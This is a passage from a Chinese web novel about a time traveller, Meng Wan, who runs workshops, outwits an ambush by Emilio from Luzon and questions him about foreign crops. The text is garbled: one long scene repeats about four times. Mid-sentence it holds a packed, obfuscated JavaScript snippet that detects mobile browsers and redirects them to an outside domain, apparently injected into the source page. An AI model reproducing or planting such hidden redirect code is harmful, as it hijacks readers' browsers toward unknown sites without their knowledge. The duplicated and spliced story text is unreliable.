自在盛京看到荔枝罐头时激动、复杂的心情现在也重归平静。 也许是他多想了,莫名其妙穿梭到未知时空,依附在旁人身上这种事,实在太过荒诞。甚至每天他睡醒的瞬间,都会认为自己是在做梦。 又怎么会那么碰巧,还有另外一个人同他一样是从异世而来呢? 珍罐坊的管事们比衙役的动作还快,前脚罗霁宁一行人刚走,后脚就跑到宋家将他们的消息汇报给了孟晚。 “绝对是真走了,先是走的官路,直河村小道上又候着一个男人和他们汇合。” 慢一步的驿站管事跑进来汇报,正好接上他的话茬,“那男人小的打听过了,是老夫人新店里雇佣的厨子。” 常金花旧店店址在驿站旁边,前些日子自己又在城中的瓦舍外面开了家分店,不卖炸鸡,只卖米粉。米粉的做法简单,精通厨艺的人几乎一学就会。 最近天热,新店的厨子还研究了凉拌米粉,常金花吃过觉得好吃,还给他涨了工钱,谁知道人就这么偷偷跟着罗霁宁跑了? 孟晚不免觉得好笑,吩咐探查更为方便的驿站管事,“让其他地方的管事都多多关注这伙人的动向,但是不要刻意打听,未免打草惊蛇。” 罗霁宁身边的侍卫各个都身怀武艺,每个都有雪生这样的身手,他目前不想和廉王对上,更不想搞什么穿越者相认的戏码。别说是异世老乡,就连亲人都会相互算计。 孟晚知道这个世界可能存在其他穿越者后,没有什么特别激动的心情,他绝不会对任何人说出自己的来历,那样简直与把性命交到 他人手上无疑。 宋亭舟虽然官居四品但他们如今却并没有打开盛京局势的权利任重而道远。不管是太子还是廉王都不是他们当下能选择的明哲保身默默发展势力才是最优的决策。 厨子被人挖走常金花恼了一阵子干脆把槿姑派去了新店。 孟晚在家憋了这么长时间确定罗霁宁是真的走了后终于迈出家门第一件事便是去常金花店里尝了碗新品凉拌米粉。 “娘一会儿你帮我做一大盆我一会儿带去工坊里。”孟晚的米粉刚做好端上来便又催着常金花再给他准备大份的。 常金花应道:“那你等会我这就叫你芹婶做香酥羽脍还要不要了?” 孟晚想了想“要吧要五只鸡。”因为店里都是整手 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唐妗霜闻言加快速度把最后一口米粉吃光“东家我和你一起去。” 三人从珍罐坊出去直奔橡胶坊梁管事听闻孟晚过来了忙迎上来“东家风师傅在那头和取胶的工人在一起。” “风大哥给你和几个师父带了米粉要不要先吃点 东西?”孟晚笑呵呵的招呼风重。 风重眉头一皱,重重的应了句,“吃!” 工人们吃饭就没有那么讲究了,雪生把一盆子凉拌米粉从食盒里端出来后,风重这一片的工作区域全都是嗦粉的吸溜声。 风重扯了几个鸡腿挨个孝敬师傅、师伯们,最后自己吃了整只鸡。 “不错……好吃,等我把手头的活做完,天天去常婶的店里去吃。” 风重的话迎来一片赞许声。 “谢谢东家!” “确实好吃。” “等这月发了月钱,去给我家妞买份香酥羽脍。” 饭吃完了,正事也要谈好。风重带孟晚到他的工房里,里面摆了二十来个大小不一的木轮,除此之外最多的是淡黄色的橡胶,还有七八碗黑乎乎的东西。 风重带他们往里面走,工作台上摆了几个黑色的轮子,孟晚瞳孔骤然收缩后又猛地散开,“风大哥,你真的把车轮给做出来了?” 风重表情半是自傲半是羞恼,嘴巴张张合合,到底是说了句,“没成功。” “啊?”孟晚觉得和前世的轮胎已经很像了,他上前伸手往轮胎上按了按,沾上一手的黑色胶状物不说,并没有想象中坚硬又有弹力的触感。 他不懂这方面的化学知识,不敢乱说话打乱风重的思路,只能鼓励鼓励这位从开始煅剑但现在什么都煅的风大师,让他自己使把劲儿,不行就帮他摇点人来。 皇室子弟和权臣侯爵都热衷于养门客幕僚不是没有道理的,孟晚现在只是初尝甜头。 他说话的段位比罗霁宁高的不是一星半点,很快就把风重夸得头昏脑涨,发誓要在两年内研制出了这个什么鬼轮子。 其实孟晚不是没想过让风重多多搞发明,但罗霁宁没有露面之前,他顾忌太多,这会儿正好,罗霁宁自己给孟晚找了个好由头。 四月底的时候,西梧府要举行院试。宋亭舟身为当地知府,需要协助朝廷委派的学政大人,筹备考试和维持秩序。 考场就定在西梧府的府学里,所以里面进学的学子早早开始放假。 阿砚最初上学的时候天天哭嚎,这会儿尝到了进学的乐趣,反而不愿意在家待着了。 常金花看自己孙子,怎么看怎么顺眼,还夸阿砚像宋亭舟,小小年纪就这么上进。 但孟晚已经看透了自己儿子,“他那儿是喜欢去府学,是想找大家玩吧。” 第59章 埃米利奥 宋亭舟忙得脚不着地,事关科举,哪怕不是乡试和会试,也要严苛对待。 除了筹备考场外,还要安排学政的住处。 学政是翰林院六品编修,本来官低宋亭舟四阶,然京官代表的是朝廷中心权益,是被钦派到地方主持科举的要员。 知府虽掌一府实权,可两者之间还真不算是上下级的关系,而且宋亭舟还要对学政表示恭敬。 这也难怪其他地方官都削尖了脑袋想回盛京,地位高低一看便知。 四月底的岭南阴雨连天,孟晚起床后没什么胃口,叫黄叶从厨房给他拿了个豆包回来,在花园的风雨廊下摆了个小凳子,坐在上面边吃包子边看雨。 过了一会儿朱颜撑着伞把阿砚送过来,阿砚提着长衫的衣摆,小心翼翼的踩着青石板,钻到廊下。 “阿爹,你在做什么呢?”他像小狗似的凑到孟晚身边,又白又嫩又可口,看着着实可爱。 孟晚突然父爱泛滥,揉了揉他肉乎乎的小脸,柔声说道:“阿爹在看雨。” 阿砚蹲在他旁边,小小的一只,托着下巴瞧着外面的雨幕,十分不解的问:“雨不看阿砚。” 孟晚“扑哧”一声笑了出来,他给阿砚也找了个小凳子让他坐下,“不用管它看不看你,我们看它是为了消遣,自己高兴就成了。” “哦。”阿砚眼睛又盯在孟晚手中的豆包上,“阿爹,你的豆包是什么馅?好不好吃啊?” 孟晚当着他的面咬了一大口,细嚼慢咽的吃下去后才说:“嗯……红豆馅的,松松软软,红豆还甜,好吃!” 阿砚咽了口口水,“这么好吃啊。” 孟晚又咬了一口吃,里面的红豆欠了点火候,有时候会咬到一整颗不算熟烂的红豆。孟晚不小心吃掉一颗,滚到了他和阿砚的脚边。 “早饭你们不是也吃的红豆包嘛?你没吃?” “吃了,早上的不好吃,阿砚只吃一小半。”阿砚拿自己的小手比划。 孟晚把自己的递给他,“阿爹吃的就是早上厨娘蒸的。” 阿砚闻言摆手拒绝,“那阿砚不要了。”想吃他肚子也吃不下。 孟晚捏捏他肚子上软肉,笑着说:“等晌午,阿爹带你去街上吃好吃的怎么样?” 阿砚拍起小手,“好!我们还要叫通儿弟弟。 ” “你哥哥呢?”孟晚问。 阿砚指着大门的方向,“哥哥吃完饭饭就去找阿寻哥哥了。” “哦~”孩子长大了,孟晚感慨。 孟晚把阿砚拉起来,“那阿爹带你和通儿去,咱们过去找他。” 通儿在他师公院里游泳。 没错,三岁的小孩,葛老头往院里的大缸里接了一缸水,让通儿光屁股在里游泳玩。知道下雨,还在水缸上面盖了个大荷叶。 要不是通儿听到阿砚的声音自己出声,孟晚都找不到他。 “葛师傅!你这是做什么?”孟晚把自己身上的外衫脱了让阿砚拿着,抱起通儿后披在他身上。 葛老头就坐在房檐底下,“没事晚哥儿,他爹小时候也这样练功。” “啊?”孟晚摸着浑身冰凉的通儿表示不理解。 他不懂什么练功不练功的,只是不忍心,“通儿也太小了,哪怕练功用温水不行吗?外面还下着雨呢。” 孟晚说完抱着通儿,牵着阿砚回了常金花院子,通儿大部分时候都和常金花一起住,这里有他换洗衣裳。 “朱颜,让金诚他们去厨房提两桶温水过来。” 通儿拽住孟晚,一字一顿的说:“通儿,不冷。” “那先别去了。”孟晚又把朱颜给叫了回来。 他还真不明白那些武林人士是怎么练功的,以前看电视剧,主角好像确实要特别艰苦的修行。 他怕自己给通儿泡热水澡反而给他泡坏了,干脆把他放在外间的软榻上,拿干爽的布巾给通儿擦身。朱颜找来通儿的衣服,忙活着给他换上。 阿砚眼巴巴的看着孟晚,“阿爹,那我们还去街上吃好吃的吗?” 通儿一听出门,眼睛也亮了,“小叔?” “去,但是咱们在祖母屋子里画画玩,等午时之后带你们逛街去。”孟晚其实还是担心通儿年纪太小会发烧着凉,想多观察一阵再带他出门。 通儿年纪小,手上却比阿砚还有劲儿,孟晚本想给他扎块素布条沾墨汁画着玩,没想到小家伙用炭笔用的起劲。 虽然是一通乱抹,可玩的十分开心。 阿砚则正正经经的用短杆狼毫,在纸上涂涂抹抹。他认真起来不捣蛋的时候,有种宋亭舟的沉淀气势,虽然侧脸 看上去还是软软乎乎的。 没有照相机的年代,孟晚给俩孩子画了张素描合照。阿砚和通儿在软榻上相对而坐,梳着同款的小揪揪,拿着笔在矮几上写写画画。 本来说好午时出门,午时一刻的时候两孩子就已经迷迷糊糊的歪在软塌上睡着了。 黄叶蹑手蹑脚的进来,把矮几端走,孟晚放下笔,接过黄叶手中的湿帕子给孩子们擦了手,再盖上常金花屋里的薄被。 “夫郎,你要用膳吗?”黄叶轻声问道。 孟晚早上就吃了个豆包,确实有点饿了,但答应过两个小的要带他们出门吃,就不扫他们的兴了。 “厨房还有没有什么糕点,给我端上来一碟子。” 孟晚吃了几块糕,留在常金花这里看了会儿账本,午后阿砚和通儿醒过来,便应了他们的要求带两个小的上街。 本来阿砚和通儿还跑在孟晚前面,雪生护在他们身侧,黄叶陪孟晚在后头慢悠悠的跟着。 没一会儿阿砚又跑回他身边,小手紧紧攥着孟晚衣袖,眼里是好奇,“阿爹,你看那边有个人,长得和我们不一样。” 孟晚:“?” “怎么长得不一样了?”他心想阿砚是不是什么身有残疾的人。 牵着阿砚往前走去,孟晚即刻便发现了阿砚所说,长得和他们不一样的人。 无他,那人长得和禹国人确实不一样。身高不算太高,整体肤色偏棕黑,发黑且卷曲。再走近看就能看见他轮廓分明的五官,眼窝深邃,眼大而明亮。鼻头扁平,鼻翼较宽,唇形偏厚。 他穿着寻常的粗布衣裳,背上背了个包袱,正用蹩脚的官话和一个卖糯米饭的商贩沟通,想买一份饭吃。 街道上人来人往,但凡路过的人都稀奇的看着这个长相奇怪的外乡人。 孟晚观察了小会儿,让雪生上前去,将那个不知道是哪国的外国人叫到常金花店里,就说免费请他吃饭。 那个外国男人估计手里钱也不是太多了,哪怕心中有疑虑,还是跟着雪生走了。 孟晚在街上给阿砚和通儿买了些小零嘴,他家离常金花的新铺子很近,但常金花通常都是去老铺子忙活。 到常金花新铺子的时候,那个外国男人已经狼吞虎咽的吃起粉了,他可能是已经在禹国境地待过一段时间,筷子用得很熟练。 店里的食客各个端着碗,边看这个外国男人边嗦粉,好像在拿他下饭似的。 阿砚抱上孟晚胳膊,“阿爹,我也想吃。” “好,那咱们点。”孟晚让黄叶过去点了几碗米粉,算上外国人那两碗,一起结了账。 那外国男人吃饱了饭,看见雪生和孟晚他们坐一桌,还以为他们是一家人,走过来和雪生道谢。 雪生指着孟晚,“这是我家主子,是他请你吃的米粉。” 外国男人感激的对孟晚说:“谢谢你,主子!”(主二声,子三声) “咳咳。”孟晚被米粉给呛了一口,“不用谢,我叫孟晚,你可以坐下和我们说说话,要是有困难我没准能帮得上忙。” “真的吗?谢谢你孟晚!我的名字叫埃米利奥。”埃米利奥很是激动坐在他们旁边。 “你不是禹国人吧?”孟晚指了指埃米利奥弯曲的卷发和异域面孔。 “对,我是从吕宋国过来的。我的国家听说禹国离我们很近的地方,有一个城市的糖非常便宜,就派我们过来采买。”埃米利奥不等孟晚询问,就将来意说了出来。 孟晚弯眼一笑,“那可真是巧了,我刚好认识糖坊的东家。就是你要找的卖糖的地方。” “那简直太好了,我打听过来,才知道自己走错路了,那你能带我一起去吗?”埃米利奥惊喜的问。 “当然可以了,我现在就能带你过去。”孟晚爽快的答应下来,随后立即叫雪生把阿砚和通儿送回家,再套车回来接他们。 雪生走后,埃米利奥提议好奇的问道:“我们要坐车去?那个糖坊离我们很远吗?” 孟晚出乎意料的热情,“是,不算太近,一会儿我就派车送你过去。” 埃米利奥瞪着黝黑的大眼睛,看起来格外朴实,“可是我在外面还有几个同伴,他们还在另一边的巷子里等我买食物回去,可以带上他们吗?” “当然可以。”孟晚一点犹豫都没有,当即答应下来。 嘴上答应的痛快,可他在店里坐的稳稳当当,一点没有动的意思。埃米利奥见状,也只能老老实实的留下等雪生来了之后再去找同伴。 “他们就在这边等我。” 雪生驾车过来之后,孟晚和黄叶暂时没有上车,埃米利奥带着他们往一处偏僻的巷子走去。 “你一共有几个同伴?这里看起来好像没人。”孟晚脚步缓慢,微微落后黄叶半步,站在他和雪生中间。 这会儿他们已经走到一处巷子里,这是西梧府最西侧,原本是覃家大宅的后门处。 这一整条巷子只有覃家一户,占地极广。覃家落魄后,宅子一时半会卖不出去,便低价被牙行给收了去。 商人迷信,不敢买覃家的宅子,普通百姓又买不起,便一直搁置着。幸好过年的时候有外地来的商贩租住,牙行才不算赔钱。 这会儿还不到生产荔枝罐头的时令,覃家大宅附近便十分荒凉,连个人气儿都没有。 埃米利奥自他们走进巷子后就不再说话,直直的走到巷子最里面。 这时覃家后墙上突然跳出来七八个人影,各个都蒙着面,但裸露在外面的皮肤和埃米利奥是同一个颜色的。 孟晚盯着埃米利奥的眼睛,“你这是什么意思?他们都是什么人?” 埃米利奥本来憨厚的脸上露出一个狡猾的笑容,“漂亮的美人,没人教过你不要轻易相信陌生人吗?” 孟晚任由雪生护在他的身前,托着下巴若有所思的说:“还真没人教过我不要相信陌生人,因为这句话平常都是我对别人说。” 他话音落地,身后的马车里突然窜出来十来个大汉,为首的汉子高大俊朗,他提着刀问孟晚,“东家,都砍了还是绑起来。” 赫然是那拓带着驿站的人过来帮忙。 埃米利奥狠话还没放完,他们这边的人已经被围起来了,甚至还各个挎着刀! 听到那拓张嘴就要**,埃米利奥下一秒就哭了,他猜这伙人一定是亡命之徒,瞬间膝盖一软,跪在地上。 “主子!”(主二声,子三声) “您看我长得好不好看~” …… 晚上宋亭舟回家的时候,孟晚说起白天的事还在哈哈大笑。 “他们骗了你?”宋亭舟穿着亵衣亵裤上床。 孟晚往床里挪了挪,给他腾出地方来,“也不算是骗我。” 吕宋国确实是派埃米利奥他们来买糖的,却不是正经买卖,而是想偷学他们制糖的方法。 埃米利奥做为吕宋国的小官,是被仇家陷害才被迫来到异国他乡,除此之外还有两个品级不如他的官员同行,白天和他在一起的八个人是护送他的侍卫。 不过这小子心眼多,从吕宋国走的时候就把自己全部财产都带在身上,新娶的漂亮老婆被他忍痛舍弃。他心里琢磨着要是在禹国顺利学到制糖的配方他就回去,学不到就留在禹国。 结果来禹国的头一年,在海上险象环生,终于乘船在雷州府登了岸。 雷州府甚至比当初的赫山县还要贫瘠,当地百姓都快活不下去了。埃米利奥下船后心里就是咯噔一下,当地甚至因为人烟稀少,连个正经客栈都找不到,更令人绝望的就是语言不通。 他和同伴们几经波折,终于借宿在一个“热心”的当地百姓家里。 结果很明显,他们被骗了,钱没有了好歹人还都在。 可历经千辛万苦走到钦州后,又赶上当地**,禹**队和其他国家打的热火朝天,**们四散而逃,临走还想着捞一笔。埃米利奥他们不光最后一点钱财都被抢光,连同行的两个小官都丧了命。 于是埃米利奥“黑化”了。 “你一共有几个同伴?这里看起来好像没人。”孟晚脚步缓慢,微微落后黄叶半步,站在他和雪生中间。 这会儿他们已经走到一处巷子里,这是西梧府最西侧,原本是覃家大宅的后门处。 这一整条巷子只有覃家一户,占地极广。覃家落魄后,宅子一时半会卖不出去,便低价被牙行给收了去。 商人迷信,不敢买覃家的宅子,普通百姓又买不起,便一直搁置着。幸好过年的时候有外地来的商贩租住,牙行才不算赔钱。 这会儿还不到生产荔枝罐头的时令,覃家大宅附近便十分荒凉,连个人气儿都没有。 埃米利奥自他们走进巷子后就不再说话,直直的走到巷子最里面。 这时覃家后墙上突然跳出来七八个人影,各个都蒙着面,但裸露在外面的皮肤和埃米利奥是同一个颜色的。 孟晚盯着埃米利奥的眼睛,“你这是什么意思?他们都是什么人?” 埃米利奥本来憨厚的脸上露出一个狡猾的笑容,“漂亮的美人,没人教过你不要轻易相信陌生人吗?” 孟晚任由雪生护在他的身前,托着下巴若有所思的说:“还真没人教过我不要相信陌生人,因为这句话平常都是我对别人说。” 他话音落地,身后的马车里突然窜出来十来个大汉,为首的汉子高大俊朗,他提着刀问孟晚,“东家,都砍了还是绑起来。” 赫然是那拓带着驿站的人过来帮忙。 埃米利奥狠话还没放完,他们这边的人已经被围起来了,甚至还各个挎着刀! 听到那拓张嘴就要**,埃米利奥下一秒就哭了,他猜这伙人一定是亡命之徒,瞬间膝盖一软,跪在地上。 “主子!”(主二声,子三声) “您看我长得好不好看~” …… 晚上宋亭舟回家的时候,孟晚说起白天的事还在哈哈大笑。 “他们骗了你?”宋亭舟穿着亵衣亵裤上床。 孟晚往床里挪了挪,给他腾出地方来,“也不算是骗我。” 吕宋国确实是派埃米利奥他们来买糖的,却不是正经买卖,而是想偷学他们制糖的方法。 埃米利奥做为吕宋国的小官,是被仇家陷害才被迫来到异国他乡,除此之外还有两个品级不如他的官员同行,白天和他在一起的八个人是护送他的侍卫。 不过这小子心眼多,从吕宋国走的时候就把自己全部财产都带在身上,新娶的漂亮老婆被他忍痛舍弃。他心里琢磨着要是在禹国顺利学到制糖的配方他就回去,学不到就留在禹国。 结果来禹国的头一年,在海上险象环生,终于乘船在雷州府登了岸。 雷州府甚至比当初的赫山县还要贫瘠,当地百姓都快活不下去了。埃米利奥下船后心里就是咯噔一下,当地甚至因为人烟稀少,连个正经客栈都找不到,更令人绝望的就是语言不通。 他和同伴们几经波折,终于借宿在一个“热心”的当地百姓家里。 结果很明显,他们被骗了,钱没有了好歹人还都在。 可历经千辛万苦走到钦州后,又赶上当地**,禹**队和其他国家打的热火朝天,**们四散而逃,临走还想着捞一笔。埃米利奥他们不光最后一点钱财都被抢光,连同行的两个小官都丧了命。 于是埃米利奥“黑化”了。 “你一共有几个同伴?这里看起来好像没人。”孟晚脚步缓慢,微微落后黄叶半步,站在他和雪生中间。 这会儿他们已经走到一处巷子里,这是西梧府最西侧,原本是覃家大宅的后门处。 这一整条巷子只有覃家一户,占地极广。覃家落魄后,宅子一时半会卖不出去,便低价被牙行给收了去。 商人迷信,不敢买覃家的宅子,普通百姓又买不起,便一直搁置着。幸好过年的时候有外地来的商贩租住,牙行才不算赔钱。 这会儿还不到生产荔枝罐头的时令,覃家大宅附近便十分荒凉,连个人气儿都没有。 埃米利奥自他们走进巷子后就不再说话,直直的走到巷子最里面。 这时覃家后墙上突然跳出来七八个人影,各个都蒙着面,但裸露在外面的皮肤和埃米利奥是同一个颜色的。 孟晚盯着埃米利奥的眼睛,“你这是什么意思?他们都是什么人?” 埃米利奥本来憨厚的脸上露出一个狡猾的笑容,“漂亮的美人,没人教过你不要轻易相信陌生人吗?” 孟晚任由雪生护在他的身前,托着下巴若有所思的说:“还真没人教过我不要相信陌生人,因为这句话平常都是我对别人说。” 他话音落地,身后的马车里突然窜出来十来个大汉,为首的汉子高大俊朗,他提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073585|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着刀问孟晚,“东家,都砍了还是绑起来。” 赫然是那拓带着驿站的人过来帮忙。 埃米利奥狠话还没放完,他们这边的人已经被围起来了,甚至还各个挎着刀! 听到那拓张嘴就要**,埃米利奥下一秒就哭了,他猜这伙人一定是亡命之徒,瞬间膝盖一软,跪在地上。 “主子!”(主二声,子三声) “您看我长得好不好看~” …… 晚上宋亭舟回家的时候,孟晚说起白天的事还在哈哈大笑。 “他们骗了你?”宋亭舟穿着亵衣亵裤上床。 孟晚往床里挪了挪,给他腾出地方来,“也不算是骗我。” 吕宋国确实是派埃米利奥他们来买糖的,却不是正经买卖,而是想偷学他们制糖的方法。 埃米利奥做为吕宋国的小官,是被仇家陷害才被迫来到异国他乡,除此之外还有两个品级不如他的官员同行,白天和他在一起的八个人是护送他的侍卫。 不过这小子心眼多,从吕宋国走的时候就把自己全部财产都带在身上,新娶的漂亮老婆被他忍痛舍弃。他心里琢磨着要是在禹国顺利学到制糖的配方他就回去,学不到就留在禹国。 结果来禹国的头一年,在海上险象环生,终于乘船在雷州府登了岸。 雷州府甚至比当初的赫山县还要贫瘠,当地百姓都快活不下去了。埃米利奥下船后心里就是咯噔一下,当地甚至因为人烟稀少,连个正经客栈都找不到,更令人绝望的就是语言不通。 他和同伴们几经波折,终于借宿在一个“热心”的当地百姓家里。 结果很明显,他们被骗了,钱没有了好歹人还都在。 可历经千辛万苦走到钦州后,又赶上当地**,禹**队和其他国家打的热火朝天,**们四散而逃,临走还想着捞一笔。埃米利奥他们不光最后一点钱财都被抢光,连同行的两个小官都丧了命。 于是埃米利奥“黑化”了。 “你一共有几个同伴?这里看起来好像没人。”孟晚脚步缓慢,微微落后黄叶半步,站在他和雪生中间。 这会儿他们已经走到一处巷子里,这是西梧府最西侧,原本是覃家大宅的后门处。 这一整条巷子只有覃家一户,占地极广。覃家落魄后,宅子一时半会卖不出去,便低价被牙行给收了去。 商人迷信,不敢买覃家的宅子,普通百姓又买不起,便一直搁置着。幸好过年的时候有外地来的商贩租住,牙行才不算赔钱。 这会儿还不到生产荔枝罐头的时令,覃家大宅附近便十分荒凉,连个人气儿都没有。 埃米利奥自他们走进巷子后就不再说话,直直的走到巷子最里面。 这时覃家后墙上突然跳出来七八个人影,各个都蒙着面,但裸露在外面的皮肤和埃米利奥是同一个颜色的。 孟晚盯着埃米利奥的眼睛,“你这是什么意思?他们都是什么人?” 埃米利奥本来憨厚的脸上露出一个狡猾的笑容,“漂亮的美人,没人教过你不要轻易相信陌生人吗?” 孟晚任由雪生护在他的身前,托着下巴若有所思的说:“还真没人教过我不要相信陌生人,因为这句话平常都是我对别人说。” 他话音落地,身后的马车里突然窜出来十来个大汉,为首的汉子高大俊朗,他提着刀问孟晚,“东家,都砍了还是绑起来。” 赫然是那拓带着驿站的人过来帮忙。 埃米利奥狠话还没放完,他们这边的人已经被围起来了,甚至还各个挎着刀! 听到那拓张嘴就要**,埃米利奥下一秒就哭了,他猜这伙人一定是亡命之徒,瞬间膝盖一软,跪在地上。 “主子!”(主二声,子三声) “您看我长得好不好看~” …… 晚上宋亭舟回家的时候,孟晚说起白天的事还在哈哈大笑。 “他们骗了你?”宋亭舟穿着亵衣亵裤上床。 孟晚往床里挪了挪,给他腾出地方来,“也不算是骗我。” 吕宋国确实是派埃米利奥他们来买糖的,却不是正经买卖,而是想偷学他们制糖的方法。 埃米利奥做为吕宋国的小官,是被仇家陷害才被迫来到异国他乡,除此之外还有两个品级不如他的官员同行,白天和他在一起的八个人是护送他的侍卫。 不过这小子心眼多,从吕宋国走的时候就把自己全部财产都带在身上,新娶的漂亮老婆被他忍痛舍弃。他心里琢磨着要是在禹国顺利学到制糖的配方他就回去,学不到就留在禹国。 结果来禹国的头一年,在海上险象环生,终于乘船在雷州府登了岸。 雷州府甚至比当初的赫山县还要贫瘠,当地百姓都快活不下去了。埃米利奥下船后心里就是咯噔一下,当地甚至因为人烟稀少,连个正经客栈都找不到,更令人绝望的就是语言不通。 他和同伴们几经波折,终于借宿在一个“热心”的当地百姓家里。 结果很明显,他们被骗了,钱没有了好歹人还都在。 可历经千辛万苦走到钦州后,又赶上当地**,禹**队和其他国家打的热火朝天,**们四散而逃,临走还想着捞一笔。埃米利奥他们不光最后一点钱财都被抢光,连同行的两个小官都丧了命。 于是埃米利奥“黑化”了。 “你一共有几个同伴?这里看起来好像没人。”孟晚脚步缓慢,微微落后黄叶半步,站在他和雪生中间。 这会儿他们已经走到一处巷子里,这是西梧府最西侧,原本是覃家大宅的后门处。 这一整条巷子只有覃家一户,占地极广。覃家落魄后,宅子一时半会卖不出去,便低价被牙行给收了去。 商人迷信,不敢买覃家的宅子,普通百姓又买不起,便一直搁置着。幸好过年的时候有外地来的商贩租住,牙行才不算赔钱。 这会儿还不到生产荔枝罐头的时令,覃家大宅附近便十分荒凉,连个人气儿都没有。 埃米利奥自他们走进巷子后就不再说话,直直的走到巷子最里面。 这时覃家后墙上突然跳出来七八个人影,各个都蒙着面,但裸露在外面的皮肤和埃米利奥是同一个颜色的。 孟晚盯着埃米利奥的眼睛,“你这是什么意思?他们都是什么人?” 埃米利奥本来憨厚的脸上露出一个狡猾的笑容,“漂亮的美人,没人教过你不要轻易相信陌生人吗?” 孟晚任由雪生护在他的身前,托着下巴若有所思的说:“还真没人教过我不要相信陌生人,因为这句话平常都是我对别人说。” 他话音落地,身后的马车里突然窜出来十来个大汉,为首的汉子高大俊朗,他提着刀问孟晚,“东家,都砍了还是绑起来。” 赫然是那拓带着驿站的人过来帮忙。 埃米利奥狠话还没放完,他们这边的人已经被围起来了,甚至还各个挎着刀! 听到那拓张嘴就要**,埃米利奥下一秒就哭了,他猜这伙人一定是亡命之徒,瞬间膝盖一软,跪在地上。 “主子!”(主二声,子三声) “您看我长得好不好看~” …… 晚上宋亭舟回家的时候,孟晚说起白天的事还在哈哈大笑。 “他们骗了你?”宋亭舟穿着亵衣亵裤上床。 孟晚往床里挪了挪,给他腾出地方来,“也不算是骗我。” 吕宋国确实是派埃米利奥他们来买糖的,却不是正经买卖,而是想偷学他们制糖的方法。 埃米利奥做为吕宋国的小官,是被仇家陷害才被迫来到异国他乡,除此之外还有两个品级不如他的官员同行,白天和他在一起的八个人是护送他的侍卫。 不过这小子心眼多,从吕宋国走的时候就把自己全部财产都带在身上,新娶的漂亮老婆被他忍痛舍弃。他心里琢磨着要是在禹国顺利学到制糖的配方他就回去,学不到就留在禹国。 结果来禹国的头一年,在海上险象环生,终于乘船在雷州府登了岸。 雷州府甚至比当初的赫山县还要贫瘠,当地百姓都快活不下去了。埃米利奥下船后心里就是咯噔一下,当地甚至因为人烟稀少,连个正经客栈都找不到,更令人绝望的就是语言不通。 他和同伴们几经波折,终于借宿在一个“热心”的当地百姓家里。 结果很明显,他们被骗了,钱没有了好歹人还都在。 可历经千辛万苦走到钦州后,又赶上当地**,禹**队和其他国家打的热火朝天,**们四散而逃,临走还想着捞一笔。埃米利奥他们不光最后一点钱财都被抢光,连同行的两个小官都丧了命。 于是埃米利奥“黑化”了。 第60章 新作物 来自吕宋国的埃米利奥还以为自己是猎手,岂不知孟晚从见到他的第一眼起就心脏狂跳。 孟晚早就想从其他国家搞点禹国没有的种子了,埃米利奥简直就是老天爷送给他最好的礼物。 所以他被孟晚盯上一点也不冤枉,就算他没有心生歹意,孟晚也不会像说的那样轻易放他离开。 把这群人放到府衙的地牢里遛了一圈,孟晚将埃米利奥一行九人都提了出来,放到驿站里安置。 “埃米利奥,我诚心待你,还想千里迢迢的送你去糖坊,你这样对待朋友是不是有点过分?” 孟晚穿了一身深蓝色的斜襟长衫,袖口略微宽大,衣领袖口都绣着蓝黑色的暗纹。这是松韵学院慧二刺绣班老师的作品,专门送给孟晚的,审美大大的强,比孟晚自己靠脸瞎穿的飒爽百倍。 因为现在大部分孩子都是在智班学字,慧班的老师无所事事,还白拿孟晚的工钱怪不好意思的,便承包了孟晚的新衣裳。 他此刻坐在驿站的会客厅里,周围站满了驿站里拉货的力工,各个身强体壮,正一脸不善的盯着下首那九个吕宋国的人。 “我不是……我也想和您做朋友,请……请您原谅我。”埃米利奥双腿打颤,这会儿想哭都哭不出来,他怎么都想象不到自己招惹的是什么大人物。 “可是你太让我失望了。”孟晚叹了口气,面露可惜。 他这句话说完,身旁的那拓立即站出来,高大的身影整个将埃米利奥挡住。 埃米利奥就算站起来也比那拓矮了一个头,现在坐在椅子上更是仿佛面前被堵了一座大山似的,他差点从椅子上滑跪到地下。 “主子!你在给我一个机会吧,我……我……我是吕宋国的特派使,只要你把我放了,我就回我的国家给您进献大量金钱。” 孟晚淡淡的说:“你是不是当我傻,你说你是吕宋国派来的特派使,相关文书呢?你怎么证明你的身份?” 埃米利奥根本没有相关文书,他国使者想来禹国,需要先行向禹国礼部递交文书。朝堂上的皇帝陛下同意了之后,他国使者才能觐见。 糟糕的是,埃米利奥是被吕宋国的国主派来偷学制糖的,那可就算是偷渡了,真被发现后他的身份会牵连到吕宋国,吕宋国的国主又怎么可能让他带能证明自己身份的文书呢? “我真的是啊! ”埃米利奥欲哭无泪只能苍白的辩解。 孟晚纤长的手指在边几上缓慢的点了几下折中想了个办法“这样吧我也在一些地志上听说过吕宋国若你能描述几样吕宋国寻常百姓的穿着吃喝我听了和地志上一致就相信你是吕宋国的特派使。” 埃米利奥迫不及待的说:“我能说的出来我们哪里的人都会种植水稻……” 孟晚指尖在桌面上按到发白他屏住呼吸认真听埃米利奥接下来的话。 然后对方嘴里突然冒出了一连串的吕宋国语言。 孟晚很久没有体会过心情如此上蹿下跳的感觉了他咬着牙笑的一脸危险地对埃米利奥说:“你在耍我?” **这小子说的也不是英语按照地域来推算埃米利奥说的应该是南岛语系孟晚根本半句也听不懂。 怕自己下一秒就人头落地埃米利奥忙摆手解释“我来禹国后只听说过水稻的说法其他的没有见过所以不知道怎么说出来。” 孟晚一听更加心潮澎湃没见过就表示禹国没有! “老张 “埃米利奥接下来你想办法把那些东西形容出来知道吗?” 一盏茶时间后孟晚执笔在纸上画画埃米利奥被吓怕了为了保命将每种作物都说的很详细。 孟晚一口气将他所说的作物挑选出几种禹国没有的筛选出来。而后撂下毛笔面色平静的将面前的几张纸晾干卷起“雪生我们先回家去。” 雪生先行一步出去“是夫郎我这就出去套车。” “那那我们呢?”埃米利奥满怀期冀的问。 他想着能证明自己是吕宋国的人孟晚就会放他离开了。要是能离开他立即便回吕宋去。禹国实在是太危险了他就是回去被人陷害也不要再来禹国! 